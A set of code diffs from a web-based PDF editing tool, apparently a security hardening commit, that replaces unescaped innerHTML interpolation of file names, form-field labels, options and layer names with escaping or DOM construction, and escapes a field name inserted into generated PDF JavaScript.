<div class="flex justify-end"> <div class="flex justify-end">
<button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button> <button id="modal-ok" class="px-4 py-2 rounded btn-gradient text-white">OK</button>
</div> </div>

View File

@@ -71,22 +71,41 @@ function updateFileDisplay(): void {
fileControls.classList.remove('hidden'); fileControls.classList.remove('hidden');
deskewOptions.classList.remove('hidden'); deskewOptions.classList.remove('hidden');
fileDisplayArea.innerHTML = selectedFiles fileDisplayArea.textContent = '';
.map( selectedFiles.forEach((file, index) => {
(file, index) => ` const row = document.createElement('div');
<div class="flex items-center justify-between bg-gray-700 p-3 rounded-lg"> row.className =
<div class="flex items-center gap-3"> 'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
<i data-lucide="file-text" class="w-5 h-5 text-indigo-400"></i>
<span class="text-gray-200 truncate max-w-xs">${file.name}</span> const info = document.createElement('div');
<span class="text-gray-500 text-sm">(${(file.size / 1024).toFixed(1)} KB)</span> info.className = 'flex items-center gap-3';
</div>
<button class="remove-file text-gray-400 hover:text-red-400" data-index="${index}"> const fileIcon = document.createElement('i');
<i data-lucide="x" class="w-5 h-5"></i> fileIcon.setAttribute('data-lucide', 'file-text');
</button> fileIcon.className = 'w-5 h-5 text-indigo-400';
</div>
` const nameSpan = document.createElement('span');
) nameSpan.className = 'text-gray-200 truncate max-w-xs';
.join(''); nameSpan.textContent = file.name;
const sizeSpan = document.createElement('span');
sizeSpan.className = 'text-gray-500 text-sm';
sizeSpan.textContent = `(${(file.size / 1024).toFixed(1)} KB)`;
info.append(fileIcon, nameSpan, sizeSpan);
const removeBtn = document.createElement('button');
removeBtn.className = 'remove-file text-gray-400 hover:text-red-400';
removeBtn.dataset.index = String(index);
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'x');
removeIcon.className = 'w-5 h-5';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
fileDisplayArea.appendChild(row);
});
createIcons({ icons }); createIcons({ icons });

View File

@@ -20,7 +20,7 @@ type LucideWindow = Window & {
}; };
import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js'; import { initializeGlobalShortcuts } from '../utils/shortcuts-init.js';
import { downloadFile, hexToRgb } from '../utils/helpers.js'; import { downloadFile, escapeHtml, hexToRgb } from '../utils/helpers.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js'; import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { createIcons, icons } from 'lucide'; import { createIcons, icons } from 'lucide';
import * as pdfjsLib from 'pdfjs-dist'; import * as pdfjsLib from 'pdfjs-dist';
@@ -720,7 +720,7 @@ function renderField(field: FormField): void {
field, field,
'#ffffff' '#ffffff'
); );
contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${field.dateFormat || 'mm/dd/yyyy'}</span></div>`; contentEl.innerHTML = `<div class="flex items-center gap-2 px-2"><i data-lucide="calendar" class="w-4 h-4"></i><span class="text-sm date-format-text">${escapeHtml(field.dateFormat || 'mm/dd/yyyy')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0); setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'image') { } else if (field.type === 'image') {
contentEl.className = contentEl.className =
@@ -729,7 +729,7 @@ function renderField(field: FormField): void {
field, field,
'#f3f4f6' '#f3f4f6'
); );
contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${field.label || 'Click to Upload Image'}</span></div>`; contentEl.innerHTML = `<div class="flex flex-col items-center text-center p-1"><i data-lucide="image" class="w-6 h-6 mb-1"></i><span class="text-[10px] leading-tight">${escapeHtml(field.label || 'Click to Upload Image')}</span></div>`;
setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0); setTimeout(() => (window as LucideWindow).lucide?.createIcons(), 0);
} else if (field.type === 'barcode') { } else if (field.type === 'barcode') {
contentEl.className = 'w-full h-full flex items-center justify-center'; contentEl.className = 'w-full h-full flex items-center justify-center';
@@ -1105,7 +1105,7 @@ function showProperties(field: FormField): void {
specificProps = ` specificProps = `
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Value</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Value</label>
<input type="text" id="propValue" value="${field.defaultValue}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propValue" value="${escapeHtml(field.defaultValue)}" ${field.combCells > 0 ? `maxlength="${field.combCells}"` : field.maxLength > 0 ? `maxlength="${field.maxLength}"` : ''} class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Max Length (0 for unlimited)</label>
@@ -1151,11 +1151,11 @@ function showProperties(field: FormField): void {
specificProps = ` specificProps = `
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Group Name (Must be same for group)</label>
<input type="text" id="propGroupName" value="${field.groupName}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propGroupName" value="${escapeHtml(field.groupName)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Export Value</label>
<input type="text" id="propExportValue" value="${field.exportValue}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propExportValue" value="${escapeHtml(field.exportValue)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2"> <div class="flex items-center justify-between bg-gray-600 p-2 rounded mt-2">
<label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label> <label for="propChecked" class="text-xs font-semibold text-gray-300">Checked State</label>
@@ -1168,13 +1168,13 @@ function showProperties(field: FormField): void {
specificProps = ` specificProps = `
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Options (One per line or comma separated)</label>
<textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${field.options?.join('\n')}</textarea> <textarea id="propOptions" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24">${escapeHtml(field.options?.join('\n') ?? '')}</textarea>
</div> </div>
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Selected Option</label>
<select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <select id="propSelectedOption" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">None</option> <option value="">None</option>
${field.options?.map((opt) => `<option value="${opt}" ${field.defaultValue === opt ? 'selected' : ''}>${opt}</option>`).join('')} ${field.options?.map((opt) => `<option value="${escapeHtml(opt)}" ${field.defaultValue === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`).join('')}
</select> </select>
</div> </div>
<div class="text-xs text-gray-400 italic mt-2"> <div class="text-xs text-gray-400 italic mt-2">
@@ -1185,7 +1185,7 @@ function showProperties(field: FormField): void {
specificProps = ` specificProps = `
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Label</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Action</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Action</label>
@@ -1200,11 +1200,11 @@ function showProperties(field: FormField): void {
</div> </div>
<div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}"> <div id="propUrlContainer" class="${field.action === 'url' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">URL</label> <label class="block text-xs font-semibold text-gray-300 mb-1">URL</label>
<input type="text" id="propActionUrl" value="${field.actionUrl || ''}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propActionUrl" value="${escapeHtml(field.actionUrl || '')}" placeholder="https://example.com" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}"> <div id="propJsContainer" class="${field.action === 'js' ? '' : 'hidden'}">
<label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Javascript Code</label>
<textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${field.jsScript || ''}</textarea> <textarea id="propJsScript" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500 h-24 font-mono">${escapeHtml(field.jsScript || '')}</textarea>
</div> </div>
<div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}"> <div id="propShowHideContainer" class="${field.action === 'showHide' ? '' : 'hidden'}">
<div class="mb-2"> <div class="mb-2">
@@ -1215,7 +1215,7 @@ function showProperties(field: FormField): void {
.filter((f) => f.id !== field.id) .filter((f) => f.id !== field.id)
.map( .map(
(f) => (f) =>
`<option value="${f.name}" ${field.targetFieldName === f.name ? 'selected' : ''}>${f.name} (${f.type})</option>` `<option value="${escapeHtml(f.name)}" ${field.targetFieldName === f.name ? 'selected' : ''}>${escapeHtml(f.name)} (${escapeHtml(f.type)})</option>`
) )
.join('')} .join('')}
</select> </select>
@@ -1281,7 +1281,7 @@ function showProperties(field: FormField): void {
</div> </div>
<div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2"> <div id="customFormatContainer" class="${isCustom ? '' : 'hidden'} mt-2">
<label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Custom Format</label>
<input type="text" id="propCustomFormat" value="${isCustom ? field.dateFormat : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propCustomFormat" value="${isCustom ? escapeHtml(field.dateFormat ?? '') : ''}" placeholder="e.g. dd/mm/yyyy HH:MM:ss" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div class="mt-3 p-2 bg-gray-700 rounded"> <div class="mt-3 p-2 bg-gray-700 rounded">
<span class="text-xs text-gray-400">Example of current format:</span> <span class="text-xs text-gray-400">Example of current format:</span>
@@ -1298,7 +1298,7 @@ function showProperties(field: FormField): void {
specificProps = ` specificProps = `
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Label / Prompt</label>
<input type="text" id="propLabel" value="${field.label}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propLabel" value="${escapeHtml(field.label)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div class="text-xs text-gray-400 italic mt-2"> <div class="text-xs text-gray-400 italic mt-2">
Clicking this field in the PDF will open a file picker to upload an image. Clicking this field in the PDF will open a file picker to upload an image.
@@ -1320,7 +1320,7 @@ function showProperties(field: FormField): void {
</div> </div>
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Barcode Value</label>
<input type="text" id="propBarcodeValue" value="${field.barcodeValue || ''}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propBarcodeValue" value="${escapeHtml(field.barcodeValue || '')}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div> <div id="barcodeFormatHint" class="text-xs text-gray-400 italic"></div>
`; `;
@@ -1330,7 +1330,7 @@ function showProperties(field: FormField): void {
<div class="space-y-3"> <div class="space-y-3">
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Field Name ${field.type === 'radio' ? '(Group Name)' : ''}</label>
<input type="text" id="propName" value="${field.name}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propName" value="${escapeHtml(field.name)}" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<div id="nameError" class="hidden text-red-400 text-xs mt-1"></div> <div id="nameError" class="hidden text-red-400 text-xs mt-1"></div>
</div> </div>
${ ${
@@ -1343,7 +1343,10 @@ function showProperties(field: FormField): void {
<select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <select id="existingGroups" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
<option value="">-- Select existing group --</option> <option value="">-- Select existing group --</option>
${Array.from(existingRadioGroups) ${Array.from(existingRadioGroups)
.map((name) => `<option value="${name}">${name}</option>`) .map(
(name) =>
`<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
)
.join('')} .join('')}
${Array.from( ${Array.from(
new Set( new Set(
@@ -1354,7 +1357,7 @@ function showProperties(field: FormField): void {
) )
.map((name) => .map((name) =>
!existingRadioGroups.has(name) !existingRadioGroups.has(name)
? `<option value="${name}">${name}</option>` ? `<option value="${escapeHtml(name)}">${escapeHtml(name)}</option>`
: '' : ''
) )
.join('')} .join('')}
@@ -1367,7 +1370,7 @@ function showProperties(field: FormField): void {
${specificProps} ${specificProps}
<div> <div>
<label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label> <label class="block text-xs font-semibold text-gray-300 mb-1">Tooltip / Help Text</label>
<input type="text" id="propTooltip" value="${field.tooltip}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500"> <input type="text" id="propTooltip" value="${escapeHtml(field.tooltip)}" placeholder="Description for screen readers" class="w-full bg-gray-600 border border-gray-500 text-white rounded px-2 py-1 text-sm focus:ring-indigo-500 focus:border-indigo-500">
</div> </div>
<div class="flex items-center"> <div class="flex items-center">
<input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2"> <input type="checkbox" id="propRequired" ${field.required ? 'checked' : ''} class="mr-2">
@@ -1784,7 +1787,7 @@ function showProperties(field: FormField): void {
field.options field.options
?.map( ?.map(
(opt) => (opt) =>
`<option value="${opt}" ${currentVal === opt ? 'selected' : ''}>${opt}</option>` `<option value="${escapeHtml(opt)}" ${currentVal === opt ? 'selected' : ''}>${escapeHtml(opt)}</option>`
) )
.join(''); .join('');
@@ -2478,7 +2481,12 @@ downloadBtn.addEventListener('click', async () => {
JS: field.jsScript, JS: field.jsScript,
}); });
} else if (field.action === 'showHide' && field.targetFieldName) { } else if (field.action === 'showHide' && field.targetFieldName) {
const target = field.targetFieldName; const target = field.targetFieldName
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\r/g, '\\r')
.replace(/\n/g, '\\n')
.replace(/\0/g, '\\0');
let script: string; let script: string;
if (field.visibilityAction === 'show') { if (field.visibilityAction === 'show') {

View File

@@ -54,19 +54,42 @@ function updateFileDisplay() {
? `${(currentFile.size / 1024).toFixed(1)} KB` ? `${(currentFile.size / 1024).toFixed(1)} KB`
: `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`; : `${(currentFile.size / 1024 / 1024).toFixed(2)} MB`;
displayArea.innerHTML = ` displayArea.textContent = '';
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between"> const card = document.createElement('div');
<div class="flex-1 min-w-0"> card.className =
<p class="truncate font-medium text-white">${currentFile.name}</p> 'bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors';
<p class="text-gray-400 text-sm">${fileSize}</p>
</div> const row = document.createElement('div');
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file"> row.className = 'flex items-center justify-between';
<i data-lucide="trash-2" class="w-4 h-4"></i>
</button> const info = document.createElement('div');
</div> info.className = 'flex-1 min-w-0';
</div>
`; const nameP = document.createElement('p');
nameP.className = 'truncate font-medium text-white';
nameP.textContent = currentFile.name;
const sizeP = document.createElement('p');
sizeP.className = 'text-gray-400 text-sm';
sizeP.textContent = fileSize;
info.append(nameP, sizeP);
const removeBtn = document.createElement('button');
removeBtn.id = 'remove-file';
removeBtn.className =
'text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2';
removeBtn.title = 'Remove file';
const removeIcon = document.createElement('i');
removeIcon.setAttribute('data-lucide', 'trash-2');
removeIcon.className = 'w-4 h-4';
removeBtn.appendChild(removeIcon);
row.append(info, removeBtn);
card.appendChild(row);
displayArea.appendChild(card);
createIcons({ icons }); createIcons({ icons });

View File

@@ -2,6 +2,7 @@ import { showLoader, hideLoader, showAlert } from '../ui.js';
import { t } from '../i18n/i18n'; import { t } from '../i18n/i18n';
import { import {
downloadFile, downloadFile,
escapeHtml,
readFileAsArrayBuffer, readFileAsArrayBuffer,
formatBytes, formatBytes,
getPDFDocument, getPDFDocument,
@@ -208,7 +209,7 @@ document.addEventListener('DOMContentLoaded', () => {
<div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;"> <div class="layer-item" data-number="${layer.number}" style="padding-left: ${layer.depth * 24 + 8}px;">
<label class="layer-toggle"> <label class="layer-toggle">
<input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" /> <input type="checkbox" ${layer.on ? 'checked' : ''} ${layer.locked ? 'disabled' : ''} data-xref="${layer.xref}" />
<span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${layer.text || `Layer ${layer.number}`}</span> <span class="layer-name">${layer.depth > 0 ? '└ ' : ''}${escapeHtml(layer.text || `Layer ${layer.number}`)}</span>
${layer.locked ? '<span class="layer-locked">🔒</span>' : ''} ${layer.locked ? '<span class="layer-locked">🔒</span>' : ''}
</label> </label>
<div class="layer-actions"> <div class="layer-actions">

View File

@@ -193,6 +193,15 @@ function initializeTool() {
document document
.getElementById('pdf-file-input') .getElementById('pdf-file-input')
?.addEventListener('change', handlePdfUpload); ?.addEventListener('change', handlePdfUpload);
document.getElementById('upload-area')?.addEventListener('click', () => {
document.getElementById('pdf-file-input')?.click();
});
document
.getElementById('pdf-file-input-select-btn')
?.addEventListener('click', (e) => {
e.stopPropagation();
document.getElementById('pdf-file-input')?.click();
});
document document
.getElementById('insert-pdf-input') .getElementById('insert-pdf-input')
?.addEventListener('change', handleInsertPdf); ?.addEventListener('change', handleInsertPdf);

View File

@@ -2,6 +2,7 @@ import { PDFDocument, PDFName } from 'pdf-lib';
import { createIcons, icons } from 'lucide'; import { createIcons, icons } from 'lucide';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js'; import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js'; import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
// State management // State management
const pageState: { pdfDoc: PDFDocument | null; file: File | null } = { const pageState: { pdfDoc: PDFDocument | null; file: File | null } = {
@@ -70,7 +71,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors"> <div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between"> <div class="flex items-center justify-between">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p> <p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p> <p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div> </div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file"> <button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

View File

@@ -4,6 +4,7 @@ import { createIcons, icons } from 'lucide';
import { initPagePreview } from '../utils/page-preview.js'; import { initPagePreview } from '../utils/page-preview.js';
import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js'; import { loadPdfWithPasswordPrompt } from '../utils/password-prompt.js';
import { loadPdfDocument } from '../utils/load-pdf-document.js'; import { loadPdfDocument } from '../utils/load-pdf-document.js';
import { escapeHtml } from '../utils/helpers.js';
pdfjsLib.GlobalWorkerOptions.workerSrc = new URL( pdfjsLib.GlobalWorkerOptions.workerSrc = new URL(
'pdfjs-dist/build/pdf.worker.min.mjs', 'pdfjs-dist/build/pdf.worker.min.mjs',
@@ -79,7 +80,7 @@ function updateFileDisplay() {
<div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors"> <div class="bg-gray-700 p-3 rounded-lg border border-gray-600 hover:border-indigo-500 transition-colors">
<div class="flex items-center justify-between"> <div class="flex items-center justify-between">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
<p class="truncate font-medium text-white">${pageState.file.name}</p> <p class="truncate font-medium text-white">${escapeHtml(pageState.file.name)}</p>
<p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p> <p class="text-gray-400 text-sm">${fileSize}${pageCount} page${pageCount !== 1 ? 's' : ''}</p>
</div> </div>
<button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file"> <button id="remove-file" class="text-red-400 hover:text-red-300 p-2 flex-shrink-0 ml-2" title="Remove file">

View File

@@ -127,14 +127,19 @@ function handlePdfUpload(e: Event): void {
} }
async function handlePdfFile(file: File): Promise<void> { async function handlePdfFile(file: File): Promise<void> {
if (file.type !== 'application/pdf' && !file.name.toLowerCase().endsWith('.pdf')) { if (
file.type !== 'application/pdf' &&
!file.name.toLowerCase().endsWith('.pdf')
) {
showAlert('Invalid File', 'Please select a PDF file.'); showAlert('Invalid File', 'Please select a PDF file.');
return; return;
} }
resetState(); resetState();
state.pdfFile = file; state.pdfFile = file;
state.pdfBytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer); state.pdfBytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
updatePdfDisplay(); updatePdfDisplay();
@@ -152,7 +157,8 @@ function updatePdfDisplay(): void {
fileDisplayArea.innerHTML = ''; fileDisplayArea.innerHTML = '';
const fileDiv = document.createElement('div'); const fileDiv = document.createElement('div');
fileDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg'; fileDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div'); const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0'; infoContainer.className = 'flex flex-col flex-1 min-w-0';
@@ -186,10 +192,15 @@ function handleCertUpload(e: Event): void {
async function handleCertFile(file: File): Promise<void> { async function handleCertFile(file: File): Promise<void> {
const validExtensions = ['.pem', '.crt', '.cer', '.der']; const validExtensions = ['.pem', '.crt', '.cer', '.der'];
const hasValidExtension = validExtensions.some(ext => file.name.toLowerCase().endsWith(ext)); const hasValidExtension = validExtensions.some((ext) =>
file.name.toLowerCase().endsWith(ext)
);
if (!hasValidExtension) { if (!hasValidExtension) {
showAlert('Invalid Certificate', 'Please select a .pem, .crt, .cer, or .der certificate file.'); showAlert(
'Invalid Certificate',
'Please select a .pem, .crt, .cer, or .der certificate file.'
);
return; return;
} }
@@ -202,7 +213,9 @@ async function handleCertFile(file: File): Promise<void> {
if (content.includes('-----BEGIN CERTIFICATE-----')) { if (content.includes('-----BEGIN CERTIFICATE-----')) {
state.trustedCert = forge.pki.certificateFromPem(content); state.trustedCert = forge.pki.certificateFromPem(content);
} else { } else {
const bytes = new Uint8Array(await readFileAsArrayBuffer(file) as ArrayBuffer); const bytes = new Uint8Array(
(await readFileAsArrayBuffer(file)) as ArrayBuffer
);
const derString = String.fromCharCode.apply(null, Array.from(bytes)); const derString = String.fromCharCode.apply(null, Array.from(bytes));
const asn1 = forge.asn1.fromDer(derString); const asn1 = forge.asn1.fromDer(derString);
state.trustedCert = forge.pki.certificateFromAsn1(asn1); state.trustedCert = forge.pki.certificateFromAsn1(asn1);
@@ -227,7 +240,8 @@ function updateCertDisplay(): void {
certDisplayArea.innerHTML = ''; certDisplayArea.innerHTML = '';
const certDiv = document.createElement('div'); const certDiv = document.createElement('div');
certDiv.className = 'flex items-center justify-between bg-gray-700 p-3 rounded-lg'; certDiv.className =
'flex items-center justify-between bg-gray-700 p-3 rounded-lg';
const infoContainer = document.createElement('div'); const infoContainer = document.createElement('div');
infoContainer.className = 'flex flex-col flex-1 min-w-0'; infoContainer.className = 'flex flex-col flex-1 min-w-0';
@@ -236,11 +250,12 @@ function updateCertDisplay(): void {
nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1'; nameSpan.className = 'truncate font-medium text-gray-200 text-sm mb-1';
const cn = state.trustedCert.subject.getField('CN'); const cn = state.trustedCert.subject.getField('CN');
nameSpan.textContent = cn?.value as string || state.trustedCertFile.name; nameSpan.textContent = (cn?.value as string) || state.trustedCertFile.name;
const metaSpan = document.createElement('div'); const metaSpan = document.createElement('div');
metaSpan.className = 'text-xs text-green-400'; metaSpan.className = 'text-xs text-green-400';
metaSpan.innerHTML = '<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded'; metaSpan.innerHTML =
'<i data-lucide="check-circle" class="inline w-3 h-3 mr-1"></i>Trusted certificate loaded';
infoContainer.append(nameSpan, metaSpan); infoContainer.append(nameSpan, metaSpan);
@@ -265,11 +280,17 @@ async function validateSignatures(): Promise<void> {
showLoader('Analyzing signatures...'); showLoader('Analyzing signatures...');
try { try {
state.results = await validatePdfSignatures(state.pdfBytes, state.trustedCert ?? undefined); state.results = await validatePdfSignatures(
state.pdfBytes,
state.trustedCert ?? undefined
);
displayResults(); displayResults();
} catch (error) { } catch (error) {
console.error('Validation error:', error); console.error('Validation error:', error);
showAlert('Error', 'Failed to validate signatures. The file may be corrupted.'); showAlert(
'Error',
'Failed to validate signatures. The file may be corrupted.'
);
} finally { } finally {
hideLoader(); hideLoader();
} }
@@ -297,10 +318,15 @@ function displayResults(): void {
} }
const summaryDiv = document.createElement('div'); const summaryDiv = document.createElement('div');
summaryDiv.className = 'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600'; summaryDiv.className =
'mb-4 p-3 bg-gray-700 rounded-lg border border-gray-600';
const validCount = state.results.filter(r => r.isValid && !r.isExpired).length; const validCount = state.results.filter(
const trustVerified = state.trustedCert ? state.results.filter(r => r.isTrusted).length : 0; (r) => r.isValid && !r.isExpired
).length;
const trustVerified = state.trustedCert
? state.results.filter((r) => r.isTrusted).length
: 0;
let summaryHtml = ` let summaryHtml = `
<p class="text-gray-300"> <p class="text-gray-300">
@@ -331,7 +357,10 @@ function displayResults(): void {
createIcons({ icons }); createIcons({ icons });
} }
function createSignatureCard(result: SignatureValidationResult, index: number): HTMLElement { function createSignatureCard(
result: SignatureValidationResult,
index: number
): HTMLElement {
const card = document.createElement('div'); const card = document.createElement('div');
card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4'; card.className = 'bg-gray-700 rounded-lg p-4 border border-gray-600 mb-4';
